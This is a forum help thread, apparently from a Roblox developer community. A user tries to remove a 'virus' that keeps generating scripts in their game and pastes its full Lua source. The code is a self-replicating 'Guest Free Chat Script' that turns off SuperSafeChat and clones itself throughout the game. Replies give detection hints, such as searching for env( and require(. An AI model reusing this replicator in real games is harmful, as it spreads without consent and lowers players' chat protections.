-
What do you want to achieve? I want to delete virus
-
What is the issue? The script generating bad scripts is hidden somewhere where i cant get in
(I cant post video) -
What solutions have you tried so far? Did you look for solutions on the Developer Hub? No
Go to find all Search all (in view tab)
Look for
env(
require(
Delete any scripts with env(, require is a bit more complicated as it’s sometimes used in legitimate instances.
Do you have any free models in your game?
“Do you have any free models in your game”
Yes, but when i added plugin it started
Searched for it, but cant see anything in require() and when i tryied env() then there was nothing
I thinked about getting into hidden folders, but idk how
Uninstall the plugin, it’s adding a virus to your game. Which one did you download and who is it by? There are plenty of fake virus plugins. And you need to search
env(
require(
NOT
env()
require()
or else it won’t show.
i know i searched env( and require(
I can check if this plugin did it, because im not sure
Yeah, go into a baseplate, and check if the virus is added.
I use this plugin personally and it doesn’t seem to add any malicious code/viruses. What is the virus? It crashes the clients, teleports to other games or what?
It creates multiple scripts with name “Guest Free Chat Script” and the code is:
--By Farvei,Edited by Sothe0
--Test it out if you dont belive me!Play as a Guest!
if (script.Parent == workspace) then
function checkForAndSwitch(player)
if (player.SuperSafeChat == true) then --Find a SuperSafe Chat player(Including Guests)
player.SuperSafeChat = false; --Turn to Safe Chat only.
wait(5);
local m = Instance.new("Message");
m.Text = "Safe chat has been enabled for you, instead of Super Safe Chat"; --You can Edit this messge to say what you want it to.
m.Parent = player;
wait(5);
m.Text = "then press enter to send it."; --Same as Above
wait(5);
m:Remove();
m = nil;
end
player = nil;
collectgarbage("collect");
end
function onChildAddedToPlayers(obj)
if (obj.className == "Player") then
checkForAndSwitch(obj);
local m = Instance.new("Message");
m.Text = "luigi1fan1 is a supporter of talking guests, and so is the maker of this map!"; --You Can Change this message text to say whatever you want.
m.Parent = obj;
wait(5);
m:Remove();
m = nil;
end
obj = nil;
collectgarbage("collect");
end -------------------------------------------------------------------------------------All Done, Leave the rest alone--------------------------------------------------------------------------
function onChildAddedToWorkspace(obj)
if (obj.className == "Model") then
if (game.Players:playerFromCharacter(obj) ~= nil) then
checkForAndSwitch(game.Players:playerFromCharacter(obj));
end
end
obj = nil;
collectgarbage("collect");
end
function findLowestLevel(obj)
local c = obj:GetChildren();
local lowestLevel = true;
for i, v in pairs(c) do
if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
lowestLevel = false;
wait();
findLowestLevel(v);
end
end
if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
if (obj ~= game.Lighting and obj ~= game.StarterPack) then
local s = script:Clone();
s.Parent = obj;
end
end
end
findLowestLevel(game);
game.Players.ChildAdded:connect(onChildAddedToPlayers);
game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
local findScript = workspace:FindFirstChild(script.Name);
if (findScript == nil) then
local s = script:Clone();
s.Parent = workspace;
end
end
--[[function findAllCopies(obj)
local c = obj:GetChildren();
for i, v in pairs(c) do
if (v.Name == script.Name and v.className == "Script" and v ~= script) then
v.Parent = nil;
elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
findAllCopies(v);
end
end
end
findAllCopies(game);
script.Parent = nil;]]
Just found this scripts in one of free models but still there are generating
I found scripts generating malicious scripts, there we’re in free models